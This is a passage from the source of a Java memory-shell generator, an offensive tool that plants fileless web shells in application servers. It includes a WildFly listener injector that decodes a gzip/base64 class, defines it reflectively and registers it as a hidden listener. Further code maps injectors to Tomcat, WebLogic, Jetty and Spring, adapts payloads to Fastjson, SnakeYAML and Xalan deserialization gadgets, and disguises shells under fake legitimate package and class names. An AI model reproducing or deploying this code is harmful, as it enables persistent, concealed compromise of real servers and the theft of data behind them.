field.get(obj); 123 | } 124 | 125 | private static Field getF(Class clazz, String fieldName) throws NoSuchFieldException { 126 | try { 127 | while (clazz != null) { 128 | try { 129 | Field field = clazz.getDeclaredField(fieldName); 130 | field.setAccessible(true); 131 | return field; 132 | } catch (NoSuchFieldException e) { 133 | clazz = clazz.getSuperclass(); 134 | } 135 | } 136 | }catch (Exception ignored){ 137 | } 138 | return null; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java: -------------------------------------------------------------------------------- 1 | package jmg.core.template; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | import java.util.zip.GZIPInputStream; 12 | 13 | 14 | public class WildFlyListenerInjectorTpl { 15 | public String getClassName() { 16 | return ""; 17 | } 18 | 19 | public String getBase64String() throws IOException { 20 | return ""; 21 | } 22 | 23 | static { 24 | new WildFlyListenerInjectorTpl(); 25 | } 26 | 27 | public WildFlyListenerInjectorTpl() { 28 | try { 29 | List contexts = getContext(); 30 | for (Object context : contexts) { 31 | Object listener = getListener(context); 32 | injectListener(context, listener); 33 | } 34 | } catch (Exception ignored) { 35 | } 36 | 37 | } 38 | 39 | public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { 40 | List contexts = new ArrayList(); 41 | Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); 42 | for (int i = 0; i < threads.length; i++) { 43 | try { 44 | Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); 45 | Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); 46 | if (servletContext != null) contexts.add(servletContext); 47 | } catch (Exception ignored) { 48 | } 49 | } 50 | return contexts; 51 | } 52 | 53 | 54 | private Object getListener(Object context) { 55 | 56 | Object listener = null; 57 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 58 | if (classLoader == null) { 59 | classLoader = context.getClass().getClassLoader(); 60 | } 61 | try { 62 | listener = classLoader.loadClass(getClassName()).newInstance(); 63 | } catch (Exception e) { 64 | try { 65 | byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); 66 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 67 | defineClass.setAccessible(true); 68 | Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); 69 | listener = clazz.newInstance(); 70 | } catch (Throwable tt) { 71 | } 72 | } 73 | return listener; 74 | } 75 | 76 | // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener 77 | // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener 78 | public void injectListener(Object context, Object listener) { 79 | try { 80 | if (isInjected(context, listener.getClass().getName())) { 81 | return; 82 | } 83 | Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); 84 | Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); 85 | Object deploymentImpl = getFV(context, "deployment"); 86 | Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); 87 | Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); 88 | Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); 89 | invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); 90 | } catch (Throwable e) { 91 | } 92 | } 93 | 94 | public boolean isInjected(Object context, String className) throws Exception { 95 | List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); 96 | for (int i = 0; i < allListeners.size(); i++) { 97 | Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass"); 98 | if (listener.getName().contains(className)) { 99 | return true; 100 | } 101 | } 102 | return false; 103 | } 104 | 105 | 106 | public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 107 | Class decoderClass; 108 | try { 109 | decoderClass = Class.forName("sun.misc.BASE64Decoder"); 110 | return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); 111 | } catch (Exception ignored) { 112 | decoderClass = Class.forName("java.util.Base64"); 113 | Object decoder = decoderClass.getMethod("getDecoder").invoke(null); 114 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); 115 | } 116 | } 117 | 118 | public static byte[] gzipDecompress(byte[] compressedData) throws IOException { 119 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 120 | ByteArrayInputStream in = new ByteArrayInputStream(compressedData); 121 | GZIPInputStream ungzip = new GZIPInputStream(in); 122 | byte[] buffer = new byte[256]; 123 | int n; 124 | while ((n = ungzip.read(buffer)) >= 0) { 125 | out.write(buffer, 0, n); 126 | } 127 | return out.toByteArray(); 128 | } 129 | 130 | 131 | static Object getFV(Object obj, String fieldName) throws Exception { 132 | Field field = getF(obj, fieldName); 133 | field.setAccessible(true); 134 | return field.get(obj); 135 | } 136 | 137 | static Field getF(Object obj, String fieldName) throws NoSuchFieldException { 138 | Class clazz = obj.getClass(); 139 | while (clazz != null) { 140 | try { 141 | Field field = clazz.getDeclaredField(fieldName); 142 | field.setAccessible(true); 143 | return field; 144 | } catch (NoSuchFieldException e) { 145 | clazz = clazz.getSuperclass(); 146 | } 147 | } 148 | throw new NoSuchFieldException(fieldName); 149 | } 150 | 151 | 152 | private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 153 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 154 | } 155 | 156 | public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 157 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 158 | Method method = null; 159 | 160 | Class tempClass = clazz; 161 | while (method == null && tempClass != null) { 162 | try { 163 | if (paramClazz == null) { 164 | // Get all declared methods of the class 165 | Method[] methods = tempClass.getDeclaredMethods(); 166 | for (int i = 0; i < methods.length; i++) { 167 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 168 | method = methods[i]; 169 | break; 170 | } 171 | } 172 | } else { 173 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 174 | } 175 | } catch (NoSuchMethodException e) { 176 | tempClass = tempClass.getSuperclass(); 177 | } 178 | } 179 | if (method == null) { 180 | throw new NoSuchMethodException(methodName); 181 | } 182 | method.setAccessible(true); 183 | if (obj instanceof Class) { 184 | try { 185 | return method.invoke(null, param); 186 | } catch (IllegalAccessException e) { 187 | throw new RuntimeException(e.getMessage()); 188 | } 189 | } else { 190 | try { 191 | return method.invoke(obj, param); 192 | } catch (IllegalAccessException e) { 193 | throw new RuntimeException(e.getMessage()); 194 | } 195 | } 196 | } 197 | } 198 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | 4 | 5 | import jmg.core.config.Constants; 6 | 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.Random; 10 | 11 | 12 | public class ClassNameUtil { 13 | static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; 14 | static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"}; 15 | 16 | 17 | public static String getRandomName(String[]... arrays) { 18 | List classNames = new ArrayList<>(); 19 | for (String[] array : arrays) { 20 | for (String className : array) { 21 | classNames.add(className); 22 | } 23 | } 24 | Random random = new Random(); 25 | int index = random.nextInt(classNames.size()); 26 | return classNames.get(index); 27 | } 28 | 29 | 30 | public static String generateRandomString() { 31 | Random random = new Random(); 32 | StringBuilder sb = new StringBuilder(); 33 | int length = random.nextInt(2) + 1; // 生成1-3之间的随机数 34 | for (int i = 0; i < length; i++) { 35 | char c = (char) (random.nextInt(26) + 'a'); 36 | sb.append(c); 37 | } 38 | return sb.toString(); 39 | } 40 | 41 | public static String getRandomInjectorClassName(){ 42 | 43 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); 44 | } 45 | 46 | public static String getRandomExtenderClassName(){ 47 | 48 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); 49 | } 50 | 51 | public static String getRandomLoaderClassName(){ 52 | 53 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); 54 | } 55 | 56 | 57 | public static String getClassPrefixName(){ 58 | return ClassNameUtil.getRandomName(prefixNames); 59 | } 60 | 61 | public static String getRandomShellClassName(String shellType) { 62 | 63 | if (shellType.contains(Constants.SHELL_LISTENER)){ 64 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener"; 65 | } 66 | if (shellType.contains(Constants.SHELL_INTERCEPTOR)){ 67 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor"; 68 | } 69 | if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){ 70 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler"; 71 | } 72 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter"; 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/CtClassUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | 8 | /** 9 | * 专项漏洞的处理 10 | */ 11 | public class CtClassUtil { 12 | private AbstractConfig config; 13 | private ClassPool pool; 14 | private CtClass ctClass; 15 | 16 | public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) { 17 | this.config = config; 18 | this.pool = pool; 19 | this.ctClass = ctClass; 20 | } 21 | 22 | 23 | public byte[] modifyForExploitation() throws Exception { 24 | if (config.getGadgetType() != null) { 25 | if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) { 26 | applyJDKAbstractTranslet(); 27 | } 28 | if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) { 29 | applyXALANAbstractTranslet(); 30 | } 31 | 32 | if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) { 33 | applyFastjsonGroovyASTTransformation(); 34 | } 35 | if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) { 36 | applySnakeYamlScriptEngineFactory(); 37 | } 38 | } 39 | return ctClass.toBytecode(); 40 | } 41 | 42 | 43 | public void applyJDKAbstractTranslet() throws Exception { 44 | JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); 45 | } 46 | 47 | public void applyXALANAbstractTranslet() { 48 | try { 49 | JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet"); 50 | } catch (Exception e) { 51 | throw new RuntimeException(e); 52 | } 53 | } 54 | 55 | // Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口 56 | public void applyFastjsonGroovyASTTransformation() throws Exception { 57 | config.setImplementsASTTransformationType(true); 58 | JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation"); 59 | JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation"); 60 | } 61 | 62 | // snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口 63 | public void applySnakeYamlScriptEngineFactory() throws Exception { 64 | config.setImplementsScriptEngineFactory(true); 65 | JavassistUtil.addAnnotation(ctClass, "javax.script.ScriptEngineFactory"); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/InjectorUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | 4 | import jmg.core.config.Constants; 5 | import jmg.core.template.*; 6 | 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | public class InjectorUtil { 11 | 12 | private static final Map INJECTOR_CLASSNAME_MAP = new HashMap(); 13 | private static final Map> classMap = new HashMap(); 14 | 15 | 16 | public InjectorUtil() { 17 | } 18 | 19 | public static String getInjectorName(String serverType, String shellType) { 20 | Map injectorMap = (Map) classMap.get(serverType); 21 | return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, ""); 22 | } 23 | 24 | public static String getInjectorClassName(String injectorName) throws Exception { 25 | if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) { 26 | throw new Exception("Invalid injector type '" + injectorName + "'"); 27 | } else { 28 | return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, ""); 29 | } 30 | } 31 | 32 | static { 33 | 34 | 35 | INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName()); 36 | INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName()); 37 | Map glassfishMap = new HashMap(); 38 | glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector"); 39 | glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector"); 40 | classMap.put(Constants.SERVER_GLASSFISH, glassfishMap); 41 | 42 | INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName()); 43 | INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName()); 44 | Map jettyMap = new HashMap(); 45 | jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector"); 46 | jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector"); 47 | classMap.put(Constants.SERVER_JETTY, jettyMap); 48 | 49 | 50 | INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName()); 51 | INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName()); 52 | Map resinMap = new HashMap(); 53 | resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector"); 54 | resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector"); 55 | classMap.put(Constants.SERVER_RESIN, resinMap); 56 | 57 | INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName()); 58 | INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName()); 59 | Map tomcatMap = new HashMap(); 60 | tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector"); 61 | tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector"); 62 | classMap.put(Constants.SERVER_TOMCAT, tomcatMap); 63 | 64 | 65 | INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName()); 66 | INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName()); 67 | Map undertowMap = new HashMap(); 68 | undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector"); 69 | undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector"); 70 | classMap.put(Constants.SERVER_UNDERTOW, undertowMap); 71 | 72 | INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName()); 73 | INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName()); 74 | Map weblogicMap = new HashMap(); 75 | weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector"); 76 | weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector"); 77 | classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap); 78 | 79 | INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName()); 80 | INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName()); 81 | Map websphereMap = new HashMap(); 82 | websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector"); 83 | websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector"); 84 | classMap.put(Constants.SERVER_WEBSPHERE, websphereMap); 85 | 86 | INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName()); 87 | INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName()); 88 | Map jbossMap = new HashMap(); 89 | jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector"); 90 | jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector"); 91 | classMap.put(Constants.SERVER_JBOSS, jbossMap); 92 | 93 | 94 | INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName()); 95 | Map springMVCMap = new HashMap(); 96 | springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector"); 97 | classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap); 98 | 99 | 100 | INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName()); 101 | Map springWebFluxMap = new HashMap(); 102 | springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector"); 103 | classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap); 104 | 105 | 106 | 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/JavassistUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import javassist.*; 4 | import javassist.bytecode.*; 5 | import javassist.bytecode.annotation.Annotation; 6 | 7 | import java.util.List; 8 | 9 | /** 10 | * javassist 工具类 11 | */ 12 | public class JavassistUtil { 13 | 14 | private static ClassPool pool = ClassPool.getDefault(); 15 | 16 | public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception { 17 | ctClass.defrost(); 18 | try { 19 | // 已存在,修改 20 | CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); 21 | ctMethod.setBody(methodBody); 22 | } catch (NotFoundException ignored) { 23 | // 不存在,直接添加 24 | CtMethod method = CtNewMethod.make(methodBody, ctClass); 25 | ctClass.addMethod(method); 26 | } 27 | } 28 | 29 | 30 | public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 31 | ctClass.defrost(); 32 | try { 33 | // 已存在,删除 34 | CtField field = ctClass.getDeclaredField(fieldName); 35 | ctClass.removeField(field); 36 | // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); 37 | try { 38 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 39 | defField.setModifiers(Modifier.PUBLIC); 40 | ctClass.addField(defField, "\"" + fieldValue + "\""); 41 | } catch (Exception e) { 42 | throw new RuntimeException(e); 43 | } 44 | 45 | } catch (NotFoundException ignored) { 46 | // // 不存在,直接添加 47 | // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); 48 | 49 | try { 50 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 51 | defField.setModifiers(Modifier.STATIC); 52 | ctClass.addField(defField, "\"" + fieldValue + "\""); 53 | } catch (Exception e) { 54 | throw new RuntimeException(e); 55 | } 56 | } 57 | } 58 | 59 | public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 60 | ctClass.defrost(); 61 | try { 62 | // 已存在,删除 63 | CtField field = ctClass.getDeclaredField(fieldName); 64 | ctClass.removeField(field); 65 | // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); 66 | try { 67 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 68 | defField.setModifiers(Modifier.PUBLIC); 69 | defField.setModifiers(Modifier.STATIC); 70 | ctClass.addField(defField, "\"" + fieldValue + "\""); 71 | } catch (Exception e) { 72 | throw new RuntimeException(e); 73 | } 74 | 75 | } catch (NotFoundException ignored) { 76 | // // 不存在,直接添加 77 | // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); 78 | 79 | try { 80 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 81 | defField.setModifiers(Modifier.STATIC); 82 | ctClass.addField(defField, "\"" + fieldValue + "\""); 83 | } catch (Exception e) { 84 | throw new RuntimeException(e); 85 | } 86 | } 87 | } 88 | 89 | 90 | public static void extendClass(CtClass ctClass, String superClassName) throws Exception { 91 | ctClass.defrost(); 92 | CtClass interfaceClass = pool.makeClass(superClassName); 93 | ctClass.setSuperclass(pool.get(interfaceClass.getName())); 94 | } 95 | 96 | public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception { 97 | ctClass.defrost(); 98 | 99 | CtClass interfaceClass = pool.makeInterface(interfaceClassName); 100 | CtClass[] ctClasses = new CtClass[]{interfaceClass}; 101 | ctClass.setInterfaces(ctClasses); 102 | } 103 | 104 | 105 | public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception { 106 | ctClass.defrost(); 107 | ClassFile classFile = ctClass.getClassFile(); 108 | ConstPool constPool = classFile.getConstPool(); 109 | AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag); 110 | Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool); 111 | clazzAnnotationsAttribute.setAnnotation(clazzAnnotation); 112 | ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute); 113 | } 114 | 115 | 116 | // 删除内存马 SourceFileAttribute (源文件名) 信息 117 | public static void removeSourceFileAttribute(CtClass ctClass) { 118 | ctClass.defrost(); 119 | ClassFile classFile = ctClass.getClassFile2(); 120 | 121 | try { 122 | // javassist.bytecode.ClassFile.removeAttribute Since: 3.21 123 | CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag}); 124 | } catch (Exception e) { 125 | try { 126 | // 兼容 javassist v3.20 及以下 127 | List attributes = (List) CommonUtil.getFV(classFile, "attributes"); 128 | removeAttribute(attributes, SourceFileAttribute.tag); 129 | } catch (Exception ignored) { 130 | } 131 | } 132 | } 133 | 134 | 135 | public static synchronized AttributeInfo removeAttribute(List attributes, String name) { 136 | if (attributes == null) return null; 137 | 138 | for (AttributeInfo ai : attributes) 139 | if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai; 140 | 141 | return null; 142 | } 143 | 144 | 145 | public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 146 | if (fieldValue != null) { 147 | JavassistUtil.addField(ctClass, fieldName, fieldValue); 148 | } 149 | } 150 | 151 | public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 152 | if (fieldValue != null) { 153 | JavassistUtil.addStaticField(ctClass, fieldName, fieldValue); 154 | } 155 | } 156 | 157 | public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception { 158 | if (className != null) { 159 | ctClass.setName(className); 160 | } 161 | } 162 | 163 | public static String convertClassNameToFilePath(String className) { 164 | return className.replace(".", "/"); 165 | } 166 | 167 | } 168 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import java.util.Random; 4 | 5 | public class PackageNameUtil { 6 | 7 | private static final String[] packageNames = { 8 | "org.springframework", 9 | "org.apache.commons", 10 | "org.apache.logging", 11 | "org.apache", 12 | "com.fasterxml.jackson", 13 | "org.junit", 14 | "org.apache.commons.lang", 15 | "org.apache.http.client", 16 | "com.google.gso", 17 | "ch.qos.logback" 18 | }; 19 | 20 | public static String generatePackageName() { 21 | Random random = new Random(); 22 | String packageName = packageNames[random.nextInt(packageNames.length)]; 23 | return packageName; 24 | } 25 | 26 | 27 | public static String getRandomPackageName() { 28 | return generatePackageName(); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import java.util.AbstractMap; 4 | import java.util.Map; 5 | import java.util.Random; 6 | 7 | 8 | public class RandomHttpHeaderUtil { 9 | 10 | private static final Random RANDOM = new Random(); 11 | 12 | public static Map.Entry generateHeader() { 13 | String key = generateRandomKey(); 14 | String value = generateRandomValue(key); 15 | return new AbstractMap.SimpleEntry<>(key, value); 16 | } 17 | 18 | private static String generateRandomKey() { 19 | String[] keys = {"Referer","User-Agent"}; 20 | return keys[RANDOM.nextInt(keys.length)]; 21 | } 22 | 23 | private static String generateRandomValue(String key) { 24 | switch (key) { 25 | case "Referer": 26 | case "User-Agent": 27 | return generateRandomValue(); 28 | default: 29 | return ""; 30 | } 31 | } 32 | 33 | private static String generateRandomValue() { 34 | return CommonUtil.genRandomLengthString(4); 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/ResponseUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | 7 | public class ResponseUtil { 8 | 9 | private static final Map METHOD_BODY_MAP = new HashMap<>(); 10 | 11 | static { 12 | METHOD_BODY_MAP.put("tomcat", getCommonMethodBody()); 13 | METHOD_BODY_MAP.put("weblogic", getCommonMethodBody()); 14 | METHOD_BODY_MAP.put("glassfish", getCommonMethodBody()); 15 | METHOD_BODY_MAP.put("resin", getResinMethodBody()); 16 | METHOD_BODY_MAP.put("jetty", getJettyMethodBody()); 17 | METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody()); 18 | METHOD_BODY_MAP.put("undertow", getUndertowMethodBody()); 19 | } 20 | 21 | public static String getMethodBody(String serverType) { 22 | return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), ""); 23 | } 24 | 25 | private static String getCommonMethodBody() { 26 | return "{javax.servlet.http.HttpServletResponse response = null;" + 27 | " try {" + 28 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" + 29 | " } catch (Exception ex) {" + 30 | " try {" + 31 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" + 32 | " } catch (Exception ex1) {" + 33 | " }" + 34 | " }" + 35 | " return response;}"; 36 | } 37 | 38 | private static String getResinMethodBody() { 39 | return "{javax.servlet.http.HttpServletResponse response;" + 40 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" + 41 | " return response;}"; 42 | } 43 | 44 | private static String getJettyMethodBody() { 45 | return "{javax.servlet.http.HttpServletResponse response;\n" + 46 | " try{\n" + 47 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" + 48 | " }catch (Exception e){\n" + 49 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" + 50 | " }\n" + 51 | " return response;}"; 52 | } 53 | 54 | private static String getWebsphereMethodBody() { 55 | return "{javax.servlet.http.HttpServletResponse response;" + 56 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" + 57 | " return response;}"; 58 | } 59 | 60 | 61 | private static String getUndertowMethodBody() { 62 | return "{javax.servlet.http.HttpServletResponse response = null;\n" + 63 | "java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" + 64 | "Object[] keys = map.keySet().toArray();\n" + 65 | "for (int i = 0; i < keys.length; i++) {\n" + 66 | " Object key = keys[i];\n" + 67 | " if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" + 68 | " response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" + 69 | " break;\n" + 70 | " }\n" + 71 | "}\n" + 72 | "return response;}"; 73 | 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java: -------------------------------------------------------------------------------- 1 | package org.springframework.web.servlet; 2 | 3 | public interface AsyncHandlerInterceptor { 4 | } 5 | -------------------------------------------------------------------------------- /jmg-core/src/main/resources/jmg-agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/su18/java-memshell-generator/b6e34b31e241e24f677f51c4c679c9efb108a496/jmg-core/src/main/resources/jmg-agent.jar -------------------------------------------------------------------------------- /jmg-custom/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 